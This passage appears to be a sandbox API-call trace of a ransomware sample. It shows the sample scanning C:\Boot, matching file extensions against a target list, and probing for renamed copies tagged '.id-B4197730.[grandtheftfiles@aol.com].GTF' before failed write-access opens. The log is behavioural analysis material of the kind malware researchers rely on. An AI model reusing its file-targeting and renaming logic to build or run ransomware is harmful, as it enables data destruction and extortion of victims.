	[0153.411] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".xls") returned 4
	[0153.411] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".xlsx") returned 5
	[0153.411] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".ppt") returned 4
	[0153.411] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.411] lstrlenW (lpString=".zip") returned 4
	[0153.411] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".rar") returned 4
	[0153.411] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0153.411] lstrlenW (lpString=".bz2") returned 4
	[0153.412] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0153.412] lstrlenW (lpString=".7z") returned 3
	[0153.412] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0153.412] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.412] lstrlenW (lpString=".dbf") returned 4
	[0153.412] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0153.412] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.412] lstrlenW (lpString=".1cd") returned 4
	[0153.412] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0153.412] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0153.412] lstrlenW (lpString=".jpg") returned 4
	[0153.412] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0153.412] lstrcmpiW (lpString1=".LOG1", lpString2=".GTF") returned 1
	[0153.412] lstrlenW (lpString="BCD.LOG1") returned 8
	[0153.412] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.413] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=0) returned 1
	[0153.413] CloseHandle (hObject=0x388) returned 1
	[0153.413] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.413] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.413] lstrlenW (lpString=".doc") returned 4
	[0153.414] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString=".docx") returned 5
	[0153.414] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0153.414] lstrlenW (lpString=".pdf") returned 4
	[0153.414] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString=".xls") returned 4
	[0153.414] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString=".xlsx") returned 5
	[0153.414] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0153.414] lstrlenW (lpString=".ppt") returned 4
	[0153.414] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.414] lstrlenW (lpString=".zip") returned 4
	[0153.414] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString=".rar") returned 4
	[0153.414] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString=".bz2") returned 4
	[0153.414] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString=".7z") returned 3
	[0153.414] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0153.414] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.414] lstrlenW (lpString=".dbf") returned 4
	[0153.414] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.414] lstrlenW (lpString=".1cd") returned 4
	[0153.414] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.414] lstrlenW (lpString=".jpg") returned 4
	[0153.414] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.414] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.414] lstrlenW (lpString=".doc") returned 4
	[0153.414] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0153.414] lstrlenW (lpString=".docx") returned 5
	[0153.414] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0153.414] lstrlenW (lpString=".pdf") returned 4
	[0153.414] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0153.415] lstrlenW (lpString=".xls") returned 4
	[0153.415] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0153.415] lstrlenW (lpString=".xlsx") returned 5
	[0153.415] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0153.415] lstrlenW (lpString=".ppt") returned 4
	[0153.415] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0153.415] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.415] lstrlenW (lpString=".zip") returned 4
	[0153.415] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0153.415] lstrlenW (lpString=".rar") returned 4
	[0153.415] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0153.415] lstrlenW (lpString=".bz2") returned 4
	[0153.415] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0153.415] lstrlenW (lpString=".7z") returned 3
	[0153.415] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0153.415] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.415] lstrlenW (lpString=".dbf") returned 4
	[0153.415] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0153.415] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.415] lstrlenW (lpString=".1cd") returned 4
	[0153.415] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0153.415] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0153.415] lstrlenW (lpString=".jpg") returned 4
	[0153.415] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0153.415] lstrcmpiW (lpString1=".LOG2", lpString2=".GTF") returned 1
	[0153.415] lstrlenW (lpString="BCD.LOG2") returned 8
	[0153.415] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.416] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=0) returned 1
	[0153.416] CloseHandle (hObject=0x388) returned 1
	[0153.416] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.416] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.416] lstrlenW (lpString=".doc") returned 4
	[0153.416] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0153.416] lstrlenW (lpString=".docx") returned 5
	[0153.416] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0153.416] lstrlenW (lpString=".pdf") returned 4
	[0153.416] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0153.416] lstrlenW (lpString=".xls") returned 4
	[0153.416] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0153.416] lstrlenW (lpString=".xlsx") returned 5
	[0153.416] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0153.416] lstrlenW (lpString=".ppt") returned 4
	[0153.416] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0153.416] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.416] lstrlenW (lpString=".zip") returned 4
	[0153.416] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0153.416] lstrlenW (lpString=".rar") returned 4
	[0153.416] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0153.416] lstrlenW (lpString=".bz2") returned 4
	[0153.416] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0153.416] lstrlenW (lpString=".7z") returned 3
	[0153.416] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0153.416] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.416] lstrlenW (lpString=".dbf") returned 4
	[0153.416] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0153.416] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.416] lstrlenW (lpString=".1cd") returned 4
	[0153.416] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0153.416] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.416] lstrlenW (lpString=".jpg") returned 4
	[0153.416] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.417] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.417] lstrlenW (lpString=".doc") returned 4
	[0153.417] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString=".docx") returned 5
	[0153.417] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0153.417] lstrlenW (lpString=".pdf") returned 4
	[0153.417] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString=".xls") returned 4
	[0153.417] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString=".xlsx") returned 5
	[0153.417] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0153.417] lstrlenW (lpString=".ppt") returned 4
	[0153.417] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.417] lstrlenW (lpString=".zip") returned 4
	[0153.417] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString=".rar") returned 4
	[0153.417] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString=".bz2") returned 4
	[0153.417] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString=".7z") returned 3
	[0153.417] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0153.417] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.417] lstrlenW (lpString=".dbf") returned 4
	[0153.417] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.417] lstrlenW (lpString=".1cd") returned 4
	[0153.417] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0153.417] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0153.417] lstrlenW (lpString=".jpg") returned 4
	[0153.417] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0153.417] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.417] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.418] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.418] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=77664) returned 1
	[0153.418] CloseHandle (hObject=0x388) returned 1
	[0153.418] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0153.418] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.418] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.418] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.418] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.418] lstrlenW (lpString=".doc") returned 4
	[0153.418] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.418] lstrlenW (lpString=".docx") returned 5
	[0153.418] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.418] lstrlenW (lpString=".pdf") returned 4
	[0153.418] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.418] lstrlenW (lpString=".xls") returned 4
	[0153.418] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.418] lstrlenW (lpString=".xlsx") returned 5
	[0153.418] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.418] lstrlenW (lpString=".ppt") returned 4
	[0153.419] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.419] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.419] lstrlenW (lpString=".zip") returned 4
	[0153.419] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.419] lstrlenW (lpString=".rar") returned 4
	[0153.419] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.419] lstrlenW (lpString=".bz2") returned 4
	[0153.419] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.419] lstrlenW (lpString=".7z") returned 3
	[0153.419] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.419] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.419] lstrlenW (lpString=".dbf") returned 4
	[0153.419] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.419] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.419] lstrlenW (lpString=".1cd") returned 4
	[0153.419] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.419] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.419] lstrlenW (lpString=".jpg") returned 4
	[0153.419] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.419] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.419] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.419] lstrlenW (lpString=".doc") returned 4
	[0153.419] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.419] lstrlenW (lpString=".docx") returned 5
	[0153.419] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.419] lstrlenW (lpString=".pdf") returned 4
	[0153.419] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.419] lstrlenW (lpString=".xls") returned 4
	[0153.419] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.419] lstrlenW (lpString=".xlsx") returned 5
	[0153.419] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.419] lstrlenW (lpString=".ppt") returned 4
	[0153.419] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.419] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.419] lstrlenW (lpString=".zip") returned 4
	[0153.419] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.419] lstrlenW (lpString=".rar") returned 4
	[0153.419] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.420] lstrlenW (lpString=".bz2") returned 4
	[0153.420] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.420] lstrlenW (lpString=".7z") returned 3
	[0153.420] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.420] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.420] lstrlenW (lpString=".dbf") returned 4
	[0153.420] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.420] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.420] lstrlenW (lpString=".1cd") returned 4
	[0153.420] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.420] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0153.420] lstrlenW (lpString=".jpg") returned 4
	[0153.420] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.420] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0153.420] lstrlenW (lpString="bootspaces.dll") returned 14
	[0153.420] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.422] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=95648) returned 1
	[0153.422] CloseHandle (hObject=0x388) returned 1
	[0153.422] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0153.422] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.422] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.422] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.422] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.422] lstrlenW (lpString=".doc") returned 4
	[0153.422] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0153.422] lstrlenW (lpString=".docx") returned 5
	[0153.422] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0153.422] lstrlenW (lpString=".pdf") returned 4
	[0153.422] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0153.422] lstrlenW (lpString=".xls") returned 4
	[0153.422] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0153.422] lstrlenW (lpString=".xlsx") returned 5
	[0153.422] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0153.422] lstrlenW (lpString=".ppt") returned 4
	[0153.422] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0153.422] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.422] lstrlenW (lpString=".zip") returned 4
	[0153.422] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0153.423] lstrlenW (lpString=".rar") returned 4
	[0153.423] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0153.423] lstrlenW (lpString=".bz2") returned 4
	[0153.423] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0153.423] lstrlenW (lpString=".7z") returned 3
	[0153.423] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0153.423] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.423] lstrlenW (lpString=".dbf") returned 4
	[0153.423] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0153.423] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.423] lstrlenW (lpString=".1cd") returned 4
	[0153.423] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0153.423] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.423] lstrlenW (lpString=".jpg") returned 4
	[0153.423] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0153.423] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.423] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.423] lstrlenW (lpString=".doc") returned 4
	[0153.423] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0153.423] lstrlenW (lpString=".docx") returned 5
	[0153.423] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0153.423] lstrlenW (lpString=".pdf") returned 4
	[0153.423] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0153.423] lstrlenW (lpString=".xls") returned 4
	[0153.423] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0153.423] lstrlenW (lpString=".xlsx") returned 5
	[0153.423] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0153.423] lstrlenW (lpString=".ppt") returned 4
	[0153.423] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0153.423] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.423] lstrlenW (lpString=".zip") returned 4
	[0153.423] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0153.423] lstrlenW (lpString=".rar") returned 4
	[0153.423] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0153.423] lstrlenW (lpString=".bz2") returned 4
	[0153.423] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0153.423] lstrlenW (lpString=".7z") returned 3
	[0153.424] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0153.424] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.424] lstrlenW (lpString=".dbf") returned 4
	[0153.424] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0153.424] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.424] lstrlenW (lpString=".1cd") returned 4
	[0153.424] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0153.424] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0153.424] lstrlenW (lpString=".jpg") returned 4
	[0153.424] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0153.424] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.424] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.424] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.424] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=76632) returned 1
	[0153.424] CloseHandle (hObject=0x388) returned 1
	[0153.424] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0153.424] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.424] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.425] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.425] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.425] lstrlenW (lpString=".doc") returned 4
	[0153.425] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.425] lstrlenW (lpString=".docx") returned 5
	[0153.425] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.425] lstrlenW (lpString=".pdf") returned 4
	[0153.425] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.425] lstrlenW (lpString=".xls") returned 4
	[0153.425] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.425] lstrlenW (lpString=".xlsx") returned 5
	[0153.425] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.425] lstrlenW (lpString=".ppt") returned 4
	[0153.425] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.425] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.425] lstrlenW (lpString=".zip") returned 4
	[0153.425] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.425] lstrlenW (lpString=".rar") returned 4
	[0153.425] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.425] lstrlenW (lpString=".bz2") returned 4
	[0153.425] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.425] lstrlenW (lpString=".7z") returned 3
	[0153.425] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.425] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.425] lstrlenW (lpString=".dbf") returned 4
	[0153.425] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.425] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.425] lstrlenW (lpString=".1cd") returned 4
	[0153.425] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.425] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.425] lstrlenW (lpString=".jpg") returned 4
	[0153.425] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.426] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.426] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.426] lstrlenW (lpString=".doc") returned 4
	[0153.426] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.426] lstrlenW (lpString=".docx") returned 5
	[0153.426] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.426] lstrlenW (lpString=".pdf") returned 4
	[0153.426] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.426] lstrlenW (lpString=".xls") returned 4
	[0153.426] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.426] lstrlenW (lpString=".xlsx") returned 5
	[0153.426] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.426] lstrlenW (lpString=".ppt") returned 4
	[0153.426] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.426] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.426] lstrlenW (lpString=".zip") returned 4
	[0153.426] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.426] lstrlenW (lpString=".rar") returned 4
	[0153.426] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.426] lstrlenW (lpString=".bz2") returned 4
	[0153.426] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.426] lstrlenW (lpString=".7z") returned 3
	[0153.426] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.426] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.426] lstrlenW (lpString=".dbf") returned 4
